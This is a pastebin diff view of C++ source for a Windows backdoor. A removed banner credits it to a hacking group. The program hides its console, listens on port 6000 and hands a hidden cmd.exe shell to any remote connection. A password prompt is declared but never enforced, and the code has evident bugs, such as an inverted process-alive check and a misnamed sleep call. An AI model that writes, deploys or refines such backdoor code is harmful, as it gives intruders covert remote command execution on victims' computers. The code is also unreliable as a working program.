View difference between Paste ID: cbWbjrcT and eRAdLbZA
SHOW: | | - or go back to the newest paste.
1-
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
1+
2-
=======================================
2+
3-
^^ HELLO  EVERYONE THIS CODE IS FOR  ^^
3+
4-
||    BASIC BACKDOOR ON C++          ||
4+
5-
||    CODED BY : JUAN DELA CRUZ      ||
5+
6-
||     ANONYMOUS PHILIPPINES         ||
6+
7-
||     TEAM: COD3X & HACK PRO        ||
7+
8-
^^                                   ^^
8+
9-
=======================================
9+
10-
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
10+
11
* as well. *
12
* * *
13
******************************************************************/
14
15
16
/*
17
Don't forget to link winsock32.lib otherwise your compiler won't understand the sockets
18
*/
19
#include <stdio.h>
20
#include <stdlib.h>
21
#include <windows.h>
22
#include <string.h>
23
24
25
//our variables, we need them globally to use them in all functions
26
const char welcome[]="Welcome, enter your password please: ";
27
char bufferin[1024]; //the buffer to read data from socket
28
char bufferout[65535]; //the buffer to write data to the socket
29
int i,port; // i is used for loop , port is going to keep the portnumber
30
SOCKET locsock,remsock; //the sockets we are going to need
31
SOCKADDR_IN sinloc,sinrem; //the structures needed for our sockets
32
WSADATA wsadata; //wsadata
33
STARTUPINFO startinfo; //startupinfo structure for CreateProcess
34
SECURITY_ATTRIBUTES secat; //security attributes structure needed for CreateProcess
35
PROCESS_INFORMATION procinfo; //process info struct needed for CreateProcess
36
int bytesWritten; //number of bytes written gets stored here
37
DWORD bytesRead,avail,exitcode; //number of bytes read, number of bytes available
38
//and the exitcode
39
40
41
42
void CommandPrompt(void); //the function to give the command prompt
43
int main() //the main function
44
{
45
//hide console
46
FreeConsole();
47
//set listen port
48
port=6000;
49
//tell windows we want to use sockets
50
WSAStartup(0x101,&wsadata);
51
//create socket
52
locsock=socket(AF_INET,SOCK_STREAM,0);
53
54
//fill structure
55
sinloc.sin_family=AF_INET;
56
sinloc.sin_addr.s_addr=INADDR_ANY;
57
sinloc.sin_port=htons(port);
58
59
60
61
//bind the socket to the specified port
62
if(bind(locsock,(SOCKADDR*)&sinloc,sizeof(SOCKADDR_IN))==SOCKET_ERROR)
63
{
64
WSACleanup();
65
printf("Error binding socket.");
66
return EXIT_FAILURE;
67
}
68
69
//listen on the specified socket
70
if(listen(locsock,5)==SOCKET_ERROR)
71
{
72
WSACleanup();
73
printf("Error listening socket.");
74
return EXIT_FAILURE;
75
}
76
77
//infinite loop here to keep the program listening
78
while(1)
79
{
80
remsock=SOCKET_ERROR;
81
while(remsock==SOCKET_ERROR)
82
{
83
//accept connection to our program
84
remsock=accept(locsock,NULL,NULL);
85
if(remsock==INVALID_SOCKET)
86
{
87
//cleanup and exit program
88
WSACleanup();
89
printf("Error accepting socket.");
90
return EXIT_FAILURE;
91
}
92
93
CommandPrompt(); //start the commandprompt function
94
}
95
closesocket(remsock); //close the socket
96
}
97
//we should never reach this point, but i've put this hear just in case ;-)
98
return EXIT_SUCCESS;
99
100
}
101
102
103
104
//*************************************************************
105
void CommandPrompt(void) //the function which handles the complete commandprompt
106
{
107
secat.nLength=sizeof(SECURITY_ATTRIBUTES);
108
secat.bInheritHandle=TRUE;
109
DWORD bytesW; //number of bytes written gets stored here
110
HANDLE newstdin,newstdout,readout,writein; //the handles for our Pipes
111
char exit1[]={'e','x','i','t',10,0}; //we need this to compare our command to 'exit'
112
char exit2[]={'E','X','I','T',10,0}; //we need this to compare our command to 'EXIT'
113
114
//create the pipes for our command prompt
115
CreatePipe(&newstdin,&writein,&secat,0);
116
CreatePipe(&readout,&newstdout,&secat,0);
117
118
GetStartupInfo(&startinfo);
119
120
//fill another structure
121
startinfo.dwFlags=STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
122
startinfo.wShowWindow=SW_HIDE;
123
startinfo.hStdOutput=newstdout;
124
startinfo.hStdError=newstdout;
125
startinfo.hStdInput=newstdin;
126
127
//start cmd prompt
128
CreateProcess(NULL,"cmd.exe",NULL,NULL,TRUE,CREATE_NEW_CONSOLE,NULL,NULL,&startinfo,&procinfo);
129
//endless loop
130
while(1)
131
{
132
//check if cmd.exe is still running, if not then cleanup and start listening again.
133
if(GetExitCodeProcess(procinfo.hProcess,&exitcode)==STILL_ACTIVE)
134
{
135
CloseHandle(procinfo.hThread);
136
CloseHandle(procinfo.hProcess);
137
CloseHandle(newstdin);
138
CloseHandle(writein);
139
CloseHandle(readout);
140
CloseHandle(newstdout);
141
break;
142
}
143
bytesRead=0;
144
//sleep 0.5 seconds to give cmd.exe the chance to startup
145
sleep(500);
146
//check if the pipe already contains something we can write to output
147
PeekNamedPipe(readout,bufferout,sizeof(bufferout),&bytesRead,&avail,NULL);
148
if(bytesRead!=0)
149
{
150
while(bytesRead!=0)
151
{ //read data from cmd.exe and send to client, then clear the buffer
152
ReadFile(readout,bufferout,sizeof(bufferout),&bytesRead,NULL);
153
send(remsock,bufferout,strlen(bufferout),0);
154
ZeroMemory(bufferout,sizeof(bufferout));
155
sleep(100);
156
PeekNamedPipe(readout,bufferout,sizeof(bufferout),&bytesRead,&avail,NULL);
157
}
158
}
159
// clear bufferin
160
ZeroMemory(bufferin,sizeof(bufferin));
161
//receive the command given
162
recv(remsock,bufferin,sizeof(bufferin),0);
163
//if command is 'exit' or 'EXIT' then we have to capture it to prevent our program
164
//from hanging.
165
if((strcmp(bufferin,exit1)==0)||(strcmp(bufferin,exit2)==0))
166
{
167
//let cmd.exe close by giving the command, then go to closeup label
168
WriteFile(writein,bufferin,strlen(bufferin),&bytesW,NULL);
169
goto closeup;
170
}
171
//else write the command to cmd.exe
172
WriteFile(writein,bufferin,strlen(bufferin),&bytesW,NULL);
173
//clear the bufferin
174
for(i=0;i<sizeof(bufferin);i++)
175
{
176
bufferin[i]=0;
177
}
178
}
179
//close up all handles
180
closeup:
181
CloseHandle(procinfo.hThread);
182
CloseHandle(procinfo.hProcess);
183
CloseHandle(newstdin);
184
CloseHandle(writein);
185
CloseHandle(readout);
186
CloseHandle(newstdout);
187
}
188
189
----------<------------ C++ Code --------------------------